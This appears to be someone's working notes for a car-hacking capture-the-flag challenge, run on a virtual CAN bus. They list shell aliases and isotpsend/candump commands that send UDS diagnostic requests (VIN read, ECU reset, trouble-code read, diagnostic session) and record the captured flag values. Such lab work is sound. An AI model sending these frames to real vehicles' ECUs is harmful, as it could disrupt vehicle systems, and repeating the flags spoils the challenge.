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VSec Challenge Alias and Solutions.
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Wiki: | |
https://ramn.readthedocs.io/en/latest/userguide/diag_tutorial.html# | |
Command: | |
isotpdump -s 7E0 -d 7E8 -c -a -u vcan0 | |
Alias: | |
alias ecuAD='candump vcan0 | grep "7E0\|7E8"' | |
alias ecuAF='candump vcan0 | grep "7E0\|7DF"' | |
alias iso-monitor='while true; do isotprecv -p 00 -s 7E0 -d 7E8 -l vcan0 | while read line; do echo "$line"; echo "$line" | xxd -r -p 2>/dev/null | hexdump -C; done; done' | |
alias iso-monitorF='while true; do isotprecv -p 00 -s 7E0 -d 7DF -l vcan0 | while read line; do echo "$line"; echo "$line" | xxd -r -p 2>/dev/null | hexdump -C; done; done' | |
Vin: | |
echo "22 F1 90" | isotpsend -p 00 -s 7E0 -d 7E8 vcan0 | |
8fe34400a5d1:~$ ecuAD │8fe34400a5d1:~$ iso-monitor | |
vcan0 7E0 [8] 03 22 F1 90 00 00 00 00 │62 F1 90 66 6C 61 67 7B 76 31 6E 5F 42 48 6D 61 63 68 33 7D | |
vcan0 7E8 [8] 10 14 62 F1 90 66 6C 61 │00000000 62 f1 90 66 6c 61 67 7b 76 31 6e 5f 42 48 6d 61 |b..flag{v1n_BHma| | |
vcan0 7E0 [8] 30 00 00 00 00 00 00 00 │00000010 63 68 33 7d |ch3}| | |
vcan0 7E8 [8] 21 67 7B 76 31 6E 5F 42 │00000014 | |
vcan0 7E8 [8] 22 48 6D 61 63 68 33 7D | |
Restart ecu: | |
8fe34400a5d1:~$ echo "11 01" | isotpsend -p 00 -s 7E0 -d 7DF vcan0 | |
8fe34400a5d1:~$ ecuAF | |
vcan0 7E0 [8] 03 22 F1 90 00 00 00 00 │8fe34400a5d1:~$ iso-monitorF | |
vcan0 7E0 [8] 02 11 01 00 00 00 00 00 │67 30 47 72 65 33 6E | |
vcan0 7DF [8] 07 67 30 47 72 65 33 6E │00000000 67 30 47 72 65 33 6e |g0Gre3n| | |
│00000007 | |
Engine Trouble: | |
echo "19 02 FF" | isotpsend -p 00 -s 7E0 -d 7E8 vcan0 | |
fe34400a5d1:~$ isotpdump -s 7e0 -d 7e8 -a -u vcan0 │8fe34400a5d1:~$ isotprecv -p 00 -s 7E0 -d 7E8 -l vcan0 | |
vcan0 7E0 [8] [SF] ln: 3 data: 19 02 FF 00 00 00 00 - '.......' - [SRQ] ReadDTCIn │59 02 FF 3E 9F 01 AB | |
formation │ | |
vcan0 7E8 [8] [SF] ln: 7 data: 59 02 FF 3E 9F 01 AB - 'Y..>...' - [PSR] ReadDTCIn │ | |
formation | |
Secrets in Memory: | |
Wip Require Coding | |
Security Access Level 3: | |
#Request Diag Session | |
echo "10 03" | isotpsend -p 00 -s 7E0 -d 7E8 vcan0 | |
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